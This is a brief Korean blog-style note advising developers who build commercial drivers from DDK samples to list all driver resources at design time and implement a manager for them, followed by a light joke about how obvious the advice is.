상용 드라이버 모듈을 DDK의 Sample을 기반으로 개발하려면,
최초 설계의 시점에서 ...
드라이버 내에서 사용할 자원들을 모두 나열하고...
이를 관리할 Manager를 구현하는 습관을 들이시기 바랍니다...

'뭐 보통 다들 이렇게 만들지 않나요?'
라고 누가 그러네요...ㅎㅎ